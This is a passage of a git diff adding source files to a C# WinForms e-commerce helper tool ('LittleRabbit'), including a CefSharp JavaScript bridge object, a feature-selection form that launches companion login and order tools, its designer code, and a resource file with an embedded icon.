{6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Any CPU.Build.0 = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x64.ActiveCfg = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x64.Build.0 = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x86.ActiveCfg = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x86.Build.0 = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Any CPU.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Any CPU.Build.0 = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x64.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x86.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x86.Build.0 = Release|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|Any CPU.ActiveCfg = Debug|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|Any CPU.Build.0 = Debug|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|x64.ActiveCfg = Debug|Any CPU + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|x64.Build.0 = Debug|Any CPU + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|x86.ActiveCfg = Debug|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Debug|x86.Build.0 = Debug|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|Any CPU.ActiveCfg = Release|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|Any CPU.Build.0 = Release|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|x64.ActiveCfg = Release|Any CPU + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|x64.Build.0 = Release|Any CPU + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|x86.ActiveCfg = Release|x86 + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A8028C02-4AC4-4504-9626-20698CAE7FD7} + EndGlobalSection +EndGlobal diff --git a/TEMUKJD/App.config b/TEMUKJD/App.config new file mode 100644 index 0000000..dde5b43 --- /dev/null +++ b/TEMUKJD/App.config @@ -0,0 +1,34 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/TEMUKJD/BoundObject.cs b/TEMUKJD/BoundObject.cs new file mode 100644 index 0000000..0d72062 --- /dev/null +++ b/TEMUKJD/BoundObject.cs @@ -0,0 +1,43 @@ +using CefSharp; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using AllBase; +using NaiBa.CefHelper; + +namespace LittleRabbit +{ + public class BoundObject + { + public List ShopMessage = new List(); + public string MyProperty { get; set; } + + public void TestCallback(IJavascriptCallback javascriptCallback) + { + using (javascriptCallback) + { + var response = new string[] { MyProperty }; + javascriptCallback.ExecuteAsync(response); + } + + } + + public string GetToken(string html) + { + return html; + } + public string getHtml(string html) + { + return html; + } + + public void Service(string html) + { + if(string.IsNullOrEmpty(html) || !html.Contains(",")) + return; + string shop = html.Substring(0, html.IndexOf(",")); + string newHtml = html.Substring(0, shop.Length + 1); + ShopMessage.Add(new KeyValueBase(shop,newHtml)); + } + } +} diff --git a/TEMUKJD/ChangeForm.cs b/TEMUKJD/ChangeForm.cs new file mode 100644 index 0000000..8912fc8 --- /dev/null +++ b/TEMUKJD/ChangeForm.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; +using LittleRabbit.ChatForms; +using LittleRabbit.DashBoardForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using Work; + +namespace LittleRabbit +{ + public partial class ChangeForm : LRBaseForm + { + public MainForm mf; + public ChangeForm() + { + InitializeComponent(); + } + + private void panel1_Click(object sender, EventArgs e) + { + Process p = new Process(); + p.StartInfo.FileName = "TaobaoLoginer.exe"; + p.StartInfo.Arguments = BaseClass.UserName + " " + BaseClass.PassWord; + p.StartInfo.UseShellExecute = true; + p.StartInfo.Verb = "runas"; + p.Start(); + Process.GetCurrentProcess().Kill(); + } + + private void panel2_Click(object sender, EventArgs e) + { + mf.Show(); + mf.SetTitle(); + mf.ShowTaobaoLoginAndInitModule(); + Hide(); + } + + private void panel3_Click(object sender, EventArgs e) + { + try + { + Process p = new Process(); + p.StartInfo.FileName = "FindLittleRabbitOrder.exe"; + p.StartInfo.Arguments = BaseClass.UserName + " " + BaseClass.PassWord; + p.StartInfo.UseShellExecute = true; + p.StartInfo.Verb = "runas"; + p.Start(); + Process.GetCurrentProcess().Kill(); + } + catch + { + BaseMsgForm.ShowInfo("未找到拍单王启动文件"); + } + } + + private void panel4_Click(object sender, EventArgs e) + { + string url = "http://oa.qixiaoke.com/?obj=public/jump_login&url=order&" + UserLogin.GetSignaturex(); + GetHtml.OpenUrl(url); + } + + private void ChangeForm_FormClosed(object sender, FormClosedEventArgs e) + { + Process.GetCurrentProcess().Kill(); + } + + private void ChangeForm_Load(object sender, EventArgs e) + { + TitleText = "功能选择 - " + BaseClass.ToolName; + if (BaseClass.Ico != null) + { + Iconx = BaseClass.Ico; + Icon = BaseClass.Ico; + } + mf.Hide(); + Text += " - " + BaseClass.ToolName; + + pnlExtend.Visible = BaseClass.DarenYaoyue; + } + + private void pnlChat_Click(object sender, EventArgs e) + { + ChatForm cf = new ChatForm(); + cf.Show(); + cf.SetTitle(); + Hide(); + } + + private void pnlExtend_Click(object sender, EventArgs e) + { + DashBoardForm df = new DashBoardForm(); + df.Show(); + //df.SetTitle(); + Hide(); + } + } +} diff --git a/TEMUKJD/ChangeForm.designer.cs b/TEMUKJD/ChangeForm.designer.cs new file mode 100644 index 0000000..915fba4 --- /dev/null +++ b/TEMUKJD/ChangeForm.designer.cs @@ -0,0 +1,170 @@ +namespace LittleRabbit +{ + partial class ChangeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ChangeForm)); + this.panel4 = new DevComponents.DotNetBar.PanelEx(); + this.panel3 = new DevComponents.DotNetBar.PanelEx(); + this.panel2 = new DevComponents.DotNetBar.PanelEx(); + this.panel1 = new DevComponents.DotNetBar.PanelEx(); + this.panel5 = new DevComponents.DotNetBar.PanelEx(); + this.pnlExtend = new DevComponents.DotNetBar.PanelEx(); + this.pnlChat = new DevComponents.DotNetBar.PanelEx(); + this.panel5.SuspendLayout(); + this.SuspendLayout(); + // + // panel4 + // + this.panel4.Cursor = System.Windows.Forms.Cursors.Hand; + this.panel4.DisabledBackColor = System.Drawing.Color.Empty; + this.panel4.Location = new System.Drawing.Point(234, 215); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(172, 65); + this.panel4.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_order; + this.panel4.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.panel4.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.panel4.TabIndex = 3; + this.panel4.Visible = false; + this.panel4.Click += new System.EventHandler(this.panel4_Click); + // + // panel3 + // + this.panel3.Cursor = System.Windows.Forms.Cursors.Hand; + this.panel3.DisabledBackColor = System.Drawing.Color.Empty; + this.panel3.Location = new System.Drawing.Point(31, 43); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(172, 65); + this.panel3.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_buyer_blast; + this.panel3.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.panel3.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.panel3.TabIndex = 2; + this.panel3.Click += new System.EventHandler(this.panel3_Click); + // + // panel2 + // + this.panel2.Cursor = System.Windows.Forms.Cursors.Hand; + this.panel2.DisabledBackColor = System.Drawing.Color.Empty; + this.panel2.Location = new System.Drawing.Point(234, 43); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(172, 65); + this.panel2.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_upload; + this.panel2.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.panel2.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.panel2.TabIndex = 1; + this.panel2.Click += new System.EventHandler(this.panel2_Click); + // + // panel1 + // + this.panel1.Cursor = System.Windows.Forms.Cursors.Hand; + this.panel1.DisabledBackColor = System.Drawing.Color.Empty; + this.panel1.Location = new System.Drawing.Point(31, 215); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(172, 65); + this.panel1.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_loginer; + this.panel1.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.panel1.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.panel1.TabIndex = 0; + this.panel1.Visible = false; + this.panel1.Click += new System.EventHandler(this.panel1_Click); + // + // panel5 + // + this.panel5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel5.Controls.Add(this.pnlExtend); + this.panel5.Controls.Add(this.pnlChat); + this.panel5.Controls.Add(this.panel1); + this.panel5.Controls.Add(this.panel3); + this.panel5.Controls.Add(this.panel4); + this.panel5.Controls.Add(this.panel2); + this.panel5.DisabledBackColor = System.Drawing.Color.Empty; + this.panel5.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel5.Location = new System.Drawing.Point(1, 33); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(440, 258); + this.panel5.TabIndex = 4; + // + // pnlExtend + // + this.pnlExtend.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlExtend.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlExtend.Location = new System.Drawing.Point(234, 131); + this.pnlExtend.Name = "pnlExtend"; + this.pnlExtend.Size = new System.Drawing.Size(172, 65); + this.pnlExtend.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_extend; + this.pnlExtend.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.pnlExtend.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.pnlExtend.TabIndex = 35; + this.pnlExtend.Visible = false; + this.pnlExtend.Click += new System.EventHandler(this.pnlExtend_Click); + // + // pnlChat + // + this.pnlChat.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlChat.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlChat.Location = new System.Drawing.Point(31, 131); + this.pnlChat.Name = "pnlChat"; + this.pnlChat.Size = new System.Drawing.Size(172, 65); + this.pnlChat.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.choice_chat; + this.pnlChat.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.RaisedInner; + this.pnlChat.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.pnlChat.TabIndex = 16; + this.pnlChat.Click += new System.EventHandler(this.pnlChat_Click); + // + // ChangeForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(442, 292); + this.Controls.Add(this.panel5); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.ShowMinimizedBox = true; + this.Name = "ChangeForm"; + this.Text = "功能选择"; + this.TitleText = "功能选择"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.ChangeForm_FormClosed); + this.Load += new System.EventHandler(this.ChangeForm_Load); + this.Controls.SetChildIndex(this.panel5, 0); + this.panel5.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx panel1; + private DevComponents.DotNetBar.PanelEx panel2; + private DevComponents.DotNetBar.PanelEx panel3; + private DevComponents.DotNetBar.PanelEx panel4; + private DevComponents.DotNetBar.PanelEx panel5; + private DevComponents.DotNetBar.PanelEx pnlChat; + private DevComponents.DotNetBar.PanelEx pnlExtend; + } +} \ No newline at end of file diff --git a/TEMUKJD/ChangeForm.resx b/TEMUKJD/ChangeForm.resx new file mode 100644 index 0000000..4da5264 --- /dev/null +++ b/TEMUKJD/ChangeForm.resx @@ -0,0 +1,2116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 